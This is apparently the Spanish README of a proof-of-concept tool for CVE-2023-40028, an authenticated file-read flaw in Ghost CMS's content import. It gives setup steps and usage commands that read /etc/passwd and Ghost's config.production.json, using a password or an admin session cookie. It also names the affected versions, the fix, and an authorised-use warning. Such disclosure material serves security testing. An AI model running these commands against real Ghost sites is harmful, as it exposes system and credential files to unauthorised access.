
POC para CVE-2023-40028: Lectura Arbitraria de Archivos en Ghost CMS
Prueba de concepto para CVE-2023-40028, una vulnerabilidad de lectura arbitraria de archivos autenticada en la función de importación de contenido de Ghost. Un archivo ZIP manipulado crea un enlace simbólico bajo content/images, lo que permite al script solicitar un archivo del host de Ghost.
Las versiones de Ghost anteriores a la 5.59.1 están afectadas. Actualice a la 5.59.1 o posterior.
Utilice esto únicamente contra sistemas que posea o esté autorizado a probar.
requestsghost-admin-api-session válidapython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
Leer un archivo con un nombre de usuario y una contraseña:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
Usar una cookie de sesión de administrador existente:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
Omita --file para abrir el prompt interactivo file>. Ejecute python3 ghost_fileread.py --help para ver las opciones de proxy, timeout y User-Agent.
El endpoint devuelve texto, por lo que esta herramienta está pensada para archivos de texto. Importar el archivo manipulado deja un enlace simbólico en el directorio content/images del objetivo.